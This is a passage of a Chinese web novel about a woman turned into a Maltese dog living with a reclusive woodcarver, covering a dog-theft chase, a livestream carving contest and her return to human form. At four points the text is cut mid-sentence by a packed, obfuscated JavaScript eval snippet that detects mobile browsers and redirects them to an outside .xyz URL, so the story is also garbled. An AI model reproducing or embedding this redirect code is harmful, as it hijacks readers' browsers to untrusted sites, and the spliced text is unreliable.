何述胡乱揉了两下手掌里的狗狗头，起床准备早餐和狗狗餐。 伺候小狗吃完，他抬起小狗的左爪，拇指蹭它的爪心。 江柚清有些痒，它缩回被何述抓住的爪子，往后退两步，埋在身下，不让他碰。 何述不再逗它，半蹲在椅子前与小狗平视，“陪我去宠物超市吧。” 宠物超市？ 还没来得及细想，江柚清就被带着下楼。 楼下，黑色奔驰旁站着一个背对着他们的男人，非主流造型让江柚清一眼就认出了他。 “余亮。”何述喊他。 “在呢。”余亮摘掉墨镜，一个潇洒回身，本来想摆个帅气的pose，结果没看到昨天积水的小水洼，一脚扎了进去，白色球鞋瞬间变黑。 “哎呦，我艹！”余亮叫骂一声，避着水坑走到何述面前，一脸哀怨，“何述，你真的没想过搬家吗？你小姨上次不是在市中心又给你买了套房子吗，怎么不搬过去。” “不喜欢。”何述垂头不去看他，不想再继续这个话题。 “OK。”余亮也不纠结，毕竟何述一直都有自己的想法，想搬的时候自然就搬了，他到时候负责帮忙就行。 视线一转，他笑呵呵地弯腰冲小狗打招呼，“哈喽呀，我的乖乖小狗，有没有想我啊，来让我亲亲！” 油嘴滑舌，江柚清一爪子直接怼在余亮伸过来的脸上。 余亮被拒绝也不恼，直起身咧着大牙问何述，“何述，你家小狗叫什么啊？” 何述不理。 江柚清不理。 十字路口的红灯亮了三遍，余亮问了不下三十遍。 “柚子。”何述回他。 “我去，水果千千万，你却叫它你最爱吃的柚子，看得出来你真喜欢这只狗。” 何述站在宠物超市门口，无视他的打趣，推门进去。 尽管知道余亮在说水果，江柚清可还是禁不住狗脸一红，头贴在何述胸口任凭余亮怎么逗都不出来。 怪不得，原来是因为喜欢吃柚子。 宠物超市很大，算是整个长坪最好的宠物用具商店。里面商品琳琅满目，江柚清逛的有些眼花。 吃的，喝的，用的不一会就堆满了整个小推车，而且都是高端货。 江柚清算是看明白了，何述对待狗狗从不吝啬花钱。明明自己吃住都异常简单，用在狗狗身上的却是实打实的豪华套餐。 “何述，再买下去，超市都要被你搬空了。” 余亮看着又默默往小推车上放狗狗玩具的何述，有些想笑。他认识何述四年，这还是第一次见他对除了木雕之外的事情如此上心。 够了，太多了。 江柚清也扒拉何述胳膊，示意他买的太多，而且很多她都用不上，买了也是纯浪费钱。 感受到胳膊轻微剐蹭，何述低头，正好对上了小狗水汪汪的小眼睛，手里拿起的胡萝卜玩具顿了片刻又恋恋不舍地放下了。 “回去吧。” “得令，打道回府。”余亮推着小推车，大步流星去收银台。 何述前脚刚离开玩具区，后脚就听到隔壁有人说话。 “要买这个小裙子吗，会不会不搭？” “不会不会，这可是现在最流行的，给你的二丫穿上保准惊艳四方。” “那就买这个？” “买！狗狗都会喜欢的！” 狗狗都会喜欢的。何述心里默念三遍，抬脚掉了个头。 江柚清看他方向不对，直呼救命。 服装配饰区比隔壁的玩具区大很多，人流量也不少，都是年轻女孩在挑选小衣服，何述站在一旁显得有点格格不入。 店员看出眼前的青年应该是第一次来，上前问他，“你好，是想为狗狗买衣服吗？” 何述点头。 “您怀里的马尔济斯犬很漂亮，我们这里有很多适合它穿的衣服，您看看这些，还有那些都不错。”店员把眼前的青年引到这段时间卖的不错衣服前，为他介绍当下爆款。 从一年四季的衣服款式到需要注意的穿衣事项，信息输送量过大，江柚清觉得头有点发胀。 不过这些衣服确实很漂亮，有些甚至比成人衣服的做工还要好。她相中了几件，尤其是那件简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16496316|185960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约款的蓝色小裙子，但人狗殊途，何述可能get不到她的想法。 “谢谢，我自己先看看。” 何述谢绝了店员推荐的衣服，抱着小狗径直走到蓝色小裙子前，把它拿了下来，又一连挑了几款风格不同的，直到手都快拿不下了才停。 江柚清一脸懵，她没想到何述挑的竟然全部都是她相中的。 “这几款发卡和头绳也不错，现在狗狗毛发还不算长，等再长大一些，用小卡子装饰发型会非常漂亮。”店员知道遇到舍得花钱的客人了，非常热情地推销手里的东西。 见何述有点心动，江柚清两眼一黑又一黑，何述这是想把她打扮成奇迹狗狗吗？ “何述！” 推着小推车满头大汗的余亮扯着干火的嗓子，快步走到何述身边，“怎么跑这来了，找你好半天。” “给狗狗买衣服？” “嗯，买好了，走吧。” 在余亮和小狗都没留意的档口，何述悄摸且快速地又拿了几个发卡。 * 被何述抱着，起初江柚清还闲的发乐，可时间一久，她就不太舒坦，总想跑两圈。 出了超市门，江柚清蛄蛹蛄蛹脱离了何述的怀抱，撒丫子在小广场跑。 今天阴天，气温不算高，偶尔一阵风吹来，还算凉快。 江柚清在前面跑，何述和余亮在后面跟着。 “你不怕柚子跑走？” “她不会的。” “也对，我就没见过它这么有灵气的狗，跟能听懂人说话一样。何述——”余亮话里转了个弯，“柚子有没有其他兄弟姐妹啥的，我也想养一只。” “不适合，你懒。” 何述撂下五个大字，头也不回地追小狗去了。 余亮咂摸着何述的话，独自一个人在凌乱的风中消化。 得嘞，人和狗都喜欢欺负他这个小可爱。 小广场很热闹，人很多。广场东侧搭了一个露天舞台，表演者年纪都不大，青春肆意，活得张扬热烈。 摇滚乐鼓点密集，江柚清感觉心脏不太舒服，驻足只看了一会。 她左右来回避着拥挤的人群，好半天才终于突围成功。 只不过绕来绕去，江柚清不知道拐到哪个地方了。她没看到何述和余亮，也找不到路原路返回。 不光敏感点会转移，怎么这该死的路痴还能转移。 谁都不服，江柚清就服自己。 “哎，这有只小狗，挺漂亮的。” “今天二哥还说给他搞只漂亮的狗送给二嫂，我看它就不错。这个品种的马尔济斯犬可不便宜，抓回去二哥肯定夸我们。” “它应该是有主人的吧。” “有主人会把它扔这？再说就算有又怎么样，没安装定位器，谁知道狗去哪了？你从后面，我在前面，我们包抄它。” 一胖一瘦两个人在她面前公然商讨如何抓她，江柚清无了个大语，怎么什么破事都能被她碰上。 此时不跑，更待何时。 江柚清开启快速马达模式，呲溜一下，消失原地。 “我靠，狗跑了，赶紧追！不花钱的狗，必须抓到！” 四条腿跑得都要起火，后面的人死追不放。 江柚清欲哭无泪。 何述，快来救我啊！ 我以后一定待在距你不超过1米的范围。 5. 获救 完蛋了，死胡同。 江柚清盯着眼前的墙，脑子溜达过去一句话。 这可真是倒霉他妈给倒霉开门，倒霉到家了…… “小短腿跑得还挺快，多亏是个死胡同，不然就被它跑了。” “对，黑熊，这狗精神头够足，二哥肯定喜欢。” 瘦子朝胖子使了个手势，两人左右开弓朝慢慢逼近小狗，油腻的脸上盛满了志在必得。 别着急，别着急，肯定会有办法的。 江柚清强迫自己冷静下来，越危急的时候越要镇静，这样才能想出办法。 有了！ 她突然灵光一闪，直接瘫倒在地上，浑身抽搐。 “我去，麻杆，这狗不会有病吧！”胖子被吓了一跳，站在原地，不敢过去，“要是被二哥知道我们搞了一条有病的狗，非活剥了我们。” “不会吧，”瘦子心下怀疑，“刚才还活蹦乱跳的，就这一会得病了？我去看看。” 瘦子走过去，俯身去探。 江柚清看准时机，张嘴狠狠咬在瘦子虎口。 瘦子吃痛嚎叫，使劲甩开小狗，江柚清借力跑到出好几米远。 趁胖子慌忙去看瘦子情况的间隙，她拼了老命跑出死胡同。 刚才装得腿都快真抽筋了，要是自己是人，早把这种捞狗的人打趴下了，哪还用得着东躲西藏。 “追啊！” 瘦子也不管手流不流血，眼里透着狠辣，冲着胖子大喊，“这么聪明的狗，捉到不用给二哥了，咱们立马卖了，一定能卖不少钱！” 两边墙壁飞速后撤，地上坑坑洼洼，蓄着昨夜的雨水，墙边混合各种垃圾，刺鼻气味冲天。 江柚清不知道跑了多久，摔进去多少水坑。身后两个男人穷追不舍，她根本不敢停。 可是真的好累啊，江柚清前腿陡然一软，一头栽进了水洼里。 身后脚步声越来越近，她咬着牙，硬撑起身子，再次跑起来。 “柚子。” “柚子。” “柚子。” 熟悉的呼喊声从巷口外传来。 何述？！ 他来找自己了吗？ 江柚清提了点力气，努力朝巷口奔去。 刚出巷子，江柚清没刹住车，直直撞在了一个人身上。 有点晕，还有点眼花。 江柚清甩了下头，稍稍清醒。她顺着裤脚往上看，就瞧见满头大汗的何述在看到她的一瞬间松了口气。 【何述，终于找到你了。】 “汪汪！汪汪汪！” 不用再担心生命安全的江柚清直接累倒在地上，大口大口喘着气。 小狗浑身上下没有一处干净的地方，腿上还有些刮伤，白色的毛混着污水和血水揉成一团。 何述弯腰避开小狗伤处，轻轻抱起它，目光死死盯住巷子里两个快速向他移动的人影，拨打了110。 “喂，您好，这里是杏仁路源茂广场后巷，有人偷我的狗。” * 从医院到家，江柚清一直都萎靡不振。她闭着眼，躲在何述怀里，汲取着一点温度。 “东西放这个了。”余亮把大包小包的东西放到客厅，拍拍手上的灰，走到门口，“乐队那边还有点事，我先走了，你有事再喊我。” 何述像是没听见，一心只有紧紧靠在他怀里寻求安全感的小狗。 余亮见状，安慰道，“你放心，那俩人是惯犯，平时就干些小偷小摸的，正巧这次警察也在找他俩，进去了，不待一段时间是出不来的。” 何述闻言，抬眼静静看向余亮，半响，木讷点点头，“路上小心。” “好，我走了。”余亮摆手，关门离开。 时间流逝，夜幕降临。 江柚清的意识逐渐回笼，脸颊传来的热度让她清晰地意识到现在她还窝在何述怀里。 四周很黑，也很安静。 她的耳朵贴在何述胸口，感受微弱的起伏，不确定他是不是睡着了。 白天去宠物医院的人太多，引导人员顾不过来，只能口头简单讲讲流程是什么。何述听完之后抱着她在宠物医院来来回回地跑，余亮想帮忙抱她，他都不肯，像是生怕一不小心，她就会再次消失一样。 对于白天发生的事情，江柚清其实已经消化的差不多了。从小到大，只要结果是好的，哪怕过程再怎么麻烦、艰难，她都能很快料理好自己的情绪。只有重画《泗巷》这件事，江柚清至今还没有办法重新提笔。 长时间保持一个姿势，江柚清觉得前腿有点麻，她抬起爪子刚想稍微活动活动，就被何述着急忙慌整个放到沙发上。 灯“啪”的一下，亮了。 何述急匆匆走到沙发前，半跪地上，仔细去看小狗状态。 被包成粽子的小狗，此刻正睁着小眼睛湿漉漉地看他，何述心里一紧，想检查小狗伤势的手发颤着抬起又落下。 差一点，就差一点。要是再晚来一会，他不敢想象会出现什么结果。 怨他，都是因为他，她才陷入到危险当中的。 她受伤，全是因为他，全是因为他。 他照顾不好她的，照顾不好她的。 …… 一股巨大的沮丧、恐惧笼罩在何述身上，江柚清觉察不对劲，她立马伸出没受伤的爪子按在了何述手上。 【我没事，你别怕。】 “汪汪！汪汪汪！” 何述看着小狗，动了动唇，没有说话。过了一会，他迟缓地靠近小狗，把头埋在她的颈窝。沉默几秒，嘶哑的声音响起。 “柚子，对不起。” 【不要自责，也不要愧疚，我现在真的没事。不过，】 “汪汪！汪汪汪！汪汪汪！” 江柚清蹭了蹭何述的头，安慰他的同时，又在心里哀嚎，她快一天没吃饭了，真的很饿。 【你能不能给我搞点饭，我真的超级饿！】 “汪汪！汪汪汪！” 何述像是能听懂她说话一样，忙着直起身，“我去给你弄饭。” 江柚清吓了一跳，怀疑的种子埋下。何述能听懂她说话？不然为什么她刚说饿，何述就立马要给她搞吃的。 只不过还没等她试探，何述端着东西从厨房出来了。 “快一天都没吃东西了，我猜你现在肯定饿了。” 何述面色无虞，把她再次抱到怀里，准备投喂。 这话好像也能解释的过去，但江柚清还是决定试试他。 要是他真的知道她是江柚清，那不就完了，这几天她状况百出，想想她在何述面前的某些行为，像是被夺舍了，简直不能看。 她偏过头，不去接送到嘴边的食物，反而扭过身子，用爪子抓住何述胸前的衣服，借着巧劲攀住他的肩膀。 何述不知道她要干什么，又担心她掉下来，赶紧把勺子放下，用手护着她的腰。 江柚清一抖，忍着痒意，凑近他的耳朵，威胁他。 【何述，我是江柚清，你能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16496317|185960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听懂我说的话，就点点头，要是让我后面知道你骗我，我肯定要找你算账的！！！】 “汪汪汪！汪汪汪汪！汪汪汪汪汪！” 什么都没有发生。 她来回扫视何述神情，全是不明白她想干什么的焦急。江柚清用爪子挠挠被纱布包的头，不解。 难道真的是自己想多了？ 思考片刻，她想通了。 变成狗已经够奇特的了，要是何述还能听懂她说话，这个世界简直魔幻。 刚提起的一口气陡然一忪，不管怎样，何述目前应该跟普通人一样，听不懂江柚清说的狗语。 从内心真实想法出发，她既希望何述能认出她，替她想想办法，怎么才能变回去，又希望他不要认出她。 毕竟她现实年龄还要比何述大一岁，整天窝在他怀里，要他照顾，像什么话。 江柚清四肢软了下来，她松开何述的衣服，往后仰躺在何述的两只手里。 “怎么了吗？是不喜欢吃这个饭吗？”何述用拇指指腹从里到外顺了两下小狗前肢内侧的毛，耐心地问她。 江柚清摇头，翻身趴在何述腿上，用鼻尖碰他的手，示意干饭。 毕竟人是铁，饭是钢，一顿不吃饿的慌。 干饭！ 在江柚清埋头炫饭的时候，一抹不显眼的红晕沿着何述的锁骨一路漫上他的后颈。 * 江柚清吃完饭，呆在沙发上，眼睛跟着何述开电视的动作移动。 电视机太长时间没有运转，何述有点招架不住。与电视机大战三百回合后，才勉强调出画面。 看电视？ 江柚清来了兴趣，她歪在里侧，靠着沙发上的小枕头，找了个最舒服的姿势，乖乖地等着何述给她找剧看。 “这片土地上，既有生的……” ？ 什么东西？这声音怎么跟她想的不一样？ 屏幕被何述挡的精光，江柚清看不见。 不过若隐如现的局部画面，给她一种不太美妙的预感。 等到何述挪开脚步，拿着遥控器坐在她旁边时，江柚清高高扬起的脖子瞬间垮掉。 她目前的确是狗，但是不代表她喜欢看动物世界。 救命啊，真的会有主人给自家小狗看动物世界吗？ 江柚清对动物之类的科普真没什么兴趣，以前画漫画的时候，一周一次的连载，从故事创作一直到后面的校正和上色全部都是她自己，工作强度非常大。 偶尔休息的时候，她唯一的乐趣就是追剧，题材不限，好看就行。算算上次追剧，还是大半年前追的一部大热的悬疑剧，后来也因为要创造《泗巷》就搁置了。 现在后腿受伤，哪也去不了，也不知道什么时候变回去。有时间看剧，那肯定要享受当下。 自己动手，丰衣足食。 也不指望何述了，江柚清用牙叼住何述手里的遥控器，放到爪下，按个不停。 余亮要是在这里，八成会惊得下巴掉下来，心想这狗成精了。 何述对小狗的怪异举动没有意外，他双手交合，斜靠在沙发上，难见的懒散。 八点档的狗血剧，一人一狗看得不亦乐乎。 “咚！咚！咚！” 敲门声平地乍起，何述起身开门。 门咯吱一声响了，紧接着一个沙哑的声音从门口传来。 “何述，你能不能帮帮我。” 江柚清循着声音看向门口的来客，顿时警铃大震。 6. 秘密 林子觉来干什么？又想找事吗？ 江柚清背后的毛炸起，包着绷带的后腿蹬着沙发垫，整个身体前倾，准备随时冲过去。 何述站在门口，视线却一直追随着沙发上正全身戒备的狗狗。 小狗身体倾斜的厉害，悬在沙发边沿，欲掉不掉。 何述有点担心，敞开门让林子觉先进来，转身快步走到沙发边，把小狗一把抱起来。江柚清骤然腾空，慌忙抓住他的胳膊，稳住身形，来回扫视着站在一旁沉默不语的男人。 不过一天光景，江柚清觉得林子觉像是变了一个人。 昨天咬牙切齿，想把何述活撕了的人，现在脸色苍白，眼底青黑一片，衣服脏乱，整个人狼狈到了极点，不知道发生了什么。 “有什么事？” 何述对于林子觉登门拜访，心里并没有什么情绪，眼神平静地像是在看一个陌生人。 从跟着师父学习雕刻的那天起，他这个所谓的师兄就对他有一股莫名的敌意。 有时候是把他的雕刻作业扔进垃圾桶，有时候是把他的雕刻刀全部用砖头砸弯，有时候是领着所有学习雕刻的小伙伴一起孤立他。好像只要他痛苦一点，林子觉就能非常开心。 何述早已对他的任何行为麻木了，更过分的事情他都经历过，他不在乎林子觉对他做什么，但不能牵扯到他的小狗。 林子觉直杵杵地站在原地，嘴唇来回碾了半天，才挤出几句话，“何述，昨天的事情是我太冲动了，是我对不起你，这次能不能求求你再救救林家木雕。” 让何述救，怎么救？江柚清的爪子不由自主地握紧。在那次葬礼上，她很直接地感受到了何述对于林家木雕的感情，也听到了那些不堪。 这次来找何述，还是想让他去陪酒吗？江柚清不知道。 何述手腕有点吃痛，他捏捏小狗的爪子，让她放松。 即便林子觉对他做了很多不好的事情，但是林老对他有恩。只要不违背林建民对他的教导，何述没有理由不帮。 “我能做什么？” 林子觉顿感有希望，忙着说:“星音最近出了一个木雕比赛，以月为主题，每一个参赛队伍必须有两个报名者。报名者在上面直播雕刻木雕作品，为期两个月，按照人气、评论、最终雕刻作品的点赞等综合指标，评选第一名。比赛结束后，主办方会与第一名签合同，承包对方未来一年的订单，平台还会推流，扩大宣传。” 他越说越激动，脸涨得通红，“只要，只要我们拿到这个合同，林家木雕就能有回旋的余地。” 听到这，江柚清彻底明白了林子觉此行的目的。 星音作为目前国内最大的短视频平台，举办的活动也大多都会得到广泛的推流，对于急需扩大宣传力度的人或品牌来说，是个不错的选择。 只不过，最近这些年干直播的人数逐年攀升，现在如果想要单纯靠雕刻木雕破圈，分一杯羹，很难，更何况—— 她歪头看向何述，实在想象不出来一天都不说几句话的人会跟屏幕前的网友聊天互动的模样。 何述抚上狗狗头，微皱眉，坦言，“我不会直播。” “没关系。”林子觉见何述犹豫，立马解释，“如果你同意，那我们林家木雕会派你跟凤杰参加这次比赛，你只需要在镜头前完成作品，其余什么都不用干。” 林凤杰。 何述无声过了两遍这个名字。 林凤杰是林子觉的侄子，去年美院毕业，雕工不算顶级，但胜在样貌不错，为人开朗活泼，周围的人只要接触他都会喜欢他，让他参赛应该是看中了这一点，而喊他可能则是弥补林凤杰的短板。 这次拜托是可接受的范围，何述接受，但也提出了一个要求。 “我不露脸。” “可以。”林子觉如释重负地深呼一口气，能答应就行，其他什么都不强求了。 送走林子觉后，何述从工作屋里拿出一块木头，默不作声坐在沙发与茶几缝隙间的地板上刻东西。 江柚清趴在他的膝盖上，前肢交叠，下颌搭在上面。何述的决定，在她的意料之中，跟小时候还是一模一样。哑巴亏向来吃在肚子里，可一点恩情都能让他记很久。 屋里寂静一片，只剩钟表的转盘声和细微的雕刻声作响。 不知道过了多久，江柚清昏昏欲睡，一点冰凉的东西碰了碰她的眼。她慢慢掀起眼皮，一个才雕好的木雕小鱼放大在她眼前。 脑子有点混沌，她伸爪子接过来，塞进怀里，又睡了过去。 何述俯身，额头抵在小狗后脑勺，喃喃自语。 “会一直陪着我吗？” “会一直陪着我吧。” * 天光大亮，日上三竿，太阳的紫外线透过窗帘缝隙直腾腾地射在床上一小团上。 热死了。 江柚清眯着眼，翻了个身，滚到了阴凉处。 没过一会，太阳追着过来。 江柚清受不了了，彻底清醒。 眼睛直勾勾地盯着依旧熟悉的天花板，看了半响，才磨磨蹭蹭下床， 好吧，又是没回去的一天。 不会真的变不回去了吧！江柚清第一次萌生了这个想法。 不可能，肯定不可能。她摇摇头，把乱七八糟的想法给甩出去。 活一天过一天，再难的事总会解决的。再次安慰好自己，江柚清恢复了好心情。 卧室门关着，外面隐隐约约似乎有人说话，听不清。 江柚清蹲坐在门前，瞅了半天，举起爪子开始拍门。 没人应。 再拍。 还是没人应。 不得不说，每家每户间虽不隔音，但是这个房间倒是挺隔音。 江柚清想到这，不再做没用功。 她晃悠悠踩在何述给她准备上床的小垫子，爪子一攀床沿，上去了。 还是睡觉吧。 江柚清掏出来被卷在被子里的木雕小鱼，准备摆正睡个回笼觉。结果一个没留意，小鱼掉下去了，滚了两圈进了床底。 幸亏身子小，床底空间才足够容纳她进去。 江柚清下床钻了进去，叼住小鱼，打算撤退，转身尾巴却扫到了一个盒子。她扭过身子，借着微弱的光去看。 盒子大约三寸左右，通体漆黑，两朵莲花刻在盒子左右两侧，正面刻满密密麻麻的文字，好像是佛经。 东西有点诡异，她本能的抗拒，却又不自觉被它吸引。 缓了会，江柚清再次凑了上去，一只爪子才碰上盒子，还没瞧仔细，后腿突然被一只冰冷的手握住，江柚清浑身一僵，紧接着还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16496318|185960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一只手穿过她腿，托住她的小腹，猛地把她往后拉。 防御本能让她以极快的速度张开嘴，回头去咬抓她的手。 嘴刚啃上，没来得及下狠劲，就看到那只手腕内侧有一点红痣，顿时卸了劲。 “乖，别去床下，脏。” 面色冷白，额头挂着汗珠的何述把小狗放到床上，又捡起地上的木雕小鱼，放到她脚边，语气带着恳求，“柚子，我们出去可以吗？外面来客人了。” 江柚清这是第二次见他如此着急的样子，有些慌神，鬼使神差地点点头。 “何述，这就是你养的狗？余亮那小子说的没错，确实挺漂亮的。” 刚出卧室，一道独属江南女子温婉意蕴的声音从客厅传来。 客厅的沙发上坐着一个女人，穿着复古连衣裙，盘着头发，笑盈盈地走了过来。 江柚清傻眼，满脑子问号，完全忘记刚才在卧室发生的事。 谁能告诉她，她高中班主任余云眠怎么在这？ 余云眠这个人，让谁看都会被她第一印象欺骗。江南女子的嗓音和相貌，猛虎一样的行事和做派。长坪一中的风云教师，常年霸占学生话题榜第一，为人极其护短又极其严苛，常常让学生又爱又恨。 虽然江柚清因为转学只被她带过一年，但是一年就足以让她对余云眠印象深刻。余云眠曾让她写过不知道多少篇，每次都是3000千打头的检讨书，也曾经带着她硬刚过造谣她的混混。 当年手写的都有PTSD，导致江柚清一见余云眠手都哆嗦。本来她想这次回来找个机会看看余云眠，也认为这么多年过去了，这毛病肯定都好了。 可是—— 这爪子抖个不停是怎么回事！ “何述，你看这狗的爪子怎么一直抖，不会有事吧？”余云眠面露担心。 江柚清毫不经意间用另一只爪子盖住了某只不争气的爪子。 何述眉眼柔了下来，嘴角露出一抹笑，“她没事。” “那就行。”余云眠没养过狗，既然何述都说没事了，那应该就没什么事。 “对了，你刚才吓死我，脸唰的一下那么白，你怎么样，需不需要我送你去医院？” “没事的老师，可能是昨天没睡好，我多休息一下就行。” “那就好，有什么事你直接找余亮，他整天没个正型，就知道在家鼓弄他那乐器。” 作为长辈，余云眠心疼何述这么多年的经历，也为何述如今在长坪木雕行业被人称赞而感到自豪。 何述雕刻的金陵十二钗是她见过一眼之后，再也不能忘记的存在，余云眠立刻想到了下半年长坪一中的百年校庆能否跟何述合作一次。 她拍了拍何述的肩膀，再次续上刚才没有聊完的话题，“何述，刚才我的提议你愿意接受吗？长坪一中百年校庆的木雕赠礼，我想让你做。” 长坪一中建校悠久，百周年校庆必然盛大，邀请来自全国各地杰出校友也肯定不少。如果何述的作品能够展出，再碰上伯乐，那么跟他合作的人肯定也不少。 何述沉默不语，江柚清也没什么好办法。保质保量的前后完成两幅大型作品，对于何述来说肯定有不小的难度。 沉默良久，何述捏了一下小狗的爪子，下了决定。 “老师，我同意。” 7. 福利院 “好，那就先这样。”余云眠掉头，干脆利落地拿起沙发上的包，“后续你有什么需要的，直接跟我说。” 何述点点头，抱着小狗送余云眠下楼。 火红色的电动车上贴满了卡通图画，很拉风。 余云眠扣好头盔，摆摆手让何述回去。一拧把，加速前进，很快消失在原地。 长坪的夏季天气变化多端，刚才还在追着江柚清跑的太阳，此时悄咪咪躲到云后面。 一个穿着粉色裙子的七八岁小女孩捧着西瓜，开怀大笑地从江柚清和何述身边跑过，紧跟着一对年轻的夫妻挽着手满脸宠溺地吆呼小女孩跑慢点，别磕着。 江柚清目光追随这一家人，陷入了沉思。 来到世上不过二十多年，九千多的日夜，她很少回忆曾经，最快乐的时光封锁在十岁前，连同对父母的回忆一起埋在记忆深处。自此以后，握着并不多的幸福，她磕磕绊绊地走了一步又一步。 江柚清以为她早已过了再幻想能够重回过去的年纪，可当变狗的魔幻砸到她眼前，当她看到那一家人喜笑晏晏的模样时，她嗤笑自己竟也会痴心妄想到可以回到一切最幸福的时候。 小狗的沮丧感实在太过强烈，何述收回停在那对夫妻身上的视线，转而以拥抱的姿势将小狗抱在怀里，手掌顺着她的后脑勺，一下又一下。 他抱着小狗转身上楼，温声安抚，“别怕，一切都会好起来的。” “嗷呜。” 江柚清把头搭在何述肩膀，合上了眼。 * 何述一整天哪也没去，把小狗哄睡后，他打开手机，在星音平台注册了账号。 林子觉上午已经给他发了比赛链接，里面实时报名人数已经达到了三百多人，这还是第一天的报名情况。按照这个趋势，恐怕接下去大半个木雕圈的都要来抢这波流量。 不过这也情有可原，毕竟这几年木雕行业式微，很多有名的牌子纷纷倒闭，剩下的都是些不肯放弃，依旧奋力挣扎的人。 很多手艺人的作品都非常精美，可销售不出去的最大原因在于固守传统线下，而忽视线上宣传。 这场比赛只要能让更多的人看到木雕的美，关注到木雕，不仅能让林家木雕起死回生，其他人也可以有翻盘的机会。 何述不会直播，也没有专业的直播设备。他简单用支架架起手机，调整了角度，确保镜头始终聚焦在他手上，点了在线直播。 以月为主题，月即思，太过常规。满月当空，心道虔诚，菩萨垂眸，慈悲渡人，是谓禅月菩提。 何述在白纸上勾勒初稿，一笔一划极其认真。 时间滴答流逝，他全然进入忘我境界，初稿渐成。 窗外大风四起，震得窗户隆隆作响。 窝在垫子上的江柚清难从噩梦中醒来，梦里母亲尖锐的声音犹如一根根极细的玻璃纤维死死刺入她的喉咙。 她拼命呼救，却无声而出，只能用力去抓自己脖子，迫切想得到一丝喘息。 何述画完最后一笔，转头就看见小狗浑身颤栗。他立马放下笔，走到小狗身边，半跪在地上，双手拢住它的耳朵。 一股熟悉的柚子味再次传来，味道仿佛能幻化成实体帮助江柚清把细刺层层拔掉，剧烈的胸口起伏逐渐变得平缓。 细碎的声音断断续续传入江柚清的耳朵里，江柚清听不清，五感在下沉，眼皮越来越重。 窗外轰隆一声巨响，她的意识瞬间剥离。 无人在意的地方，桌子上的那幅禅月菩提飘落地上。 * 看着家里的吊灯，江柚清依旧有种踩不着地的虚幻感。 昨天变回来之后，她下意识以为这一切都是自己做的梦，看了一眼手机时间才彻底打消她的怀疑。 来长坪已经是三四天前，她再怎么能睡，也不可能睡这么多天，而且身体机能甚至还比之前好了一些。 做实变狗遭遇，江柚清连忙给何述打了个电话，确认小狗无恙后，也就不在乱纠结其他连带的怪异现象。 只不过，这是仅此一次还是会有下次，是突如其来随时会变，还是有规律可循？ 想不明白，她也不想了，总归是水来将挡，兵来土掩。 幸好秦唯安这几天因为有事没联系她，不然按照那丫头的性格，联系不上她，早就杀到长坪来找她。 江柚清刷好牙，胡乱用水抹了两把脸，下楼去买早饭。 早餐铺子人满为患，小贩的吆喝声穿街过巷，五六个小孩子在某户未开门的房前空地玩耍，赶着打卡的上班族咬着包子急匆匆穿过人群去追公交。 江柚清坐在早餐店门口的小桌子上，用纸包着油条把它沾进豆浆里，再快速捞起，咬了一口，心满意足地点了点头。 “柚清，怎么样，味道还跟以前一样吧！” 老板娘把手头的活交给身旁的人，掀起围裙蹭掉了手背上的面粉，又拿起了手边桌子上的一笼蒸饺，朝门口走。 “还跟以前一样好吃，我在外面那么多年都没吃过比你做的更好的了。”江柚清眉眼一弯，冲着徐姨竖起了大拇指。 “再尝尝这个。”徐兰把蒸饺推到江柚清面前，又递了盘小菜，“这么多年一直没见你，过得咋样，在外面受没受委屈？” 徐兰跟江柚清的父亲是发小，两家以前来往密切，也可以说是看着江柚清长大的。 面对徐姨的关心，江柚清低下头，吞下喉间酸楚，片刻间又恢复如初。她把碎发勾到耳后，眼睛重新闪着光，“过得挺好的，你还不知道我嘛，看我这肱二头肌，三十个大汉我都能打趴下。” 哪有这么简单，徐兰没直接戳破，换了个话题，“回来了还走吗？” “嗯，这次会在长坪呆一段时间。” “好，在长坪有什么事，你一定要跟姨说。” 江柚清点头。 “老板娘，来算下钱。” “稍等，这就来。”徐兰扬声回应。 “徐姨，你先忙吧，我下回再过来。”江柚清站起身，接过徐兰给她打包的蒸饺，朝她挥手再见。 拐出巷口，视野陡然开阔。马路两旁种满了梧桐，阳光穿过树叶缝隙洒落一地金黄。 站在路边，江柚清打了个车。 司机是个面色和善的四五十岁的叔叔，很健谈，从天南海北到国内外战争，简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 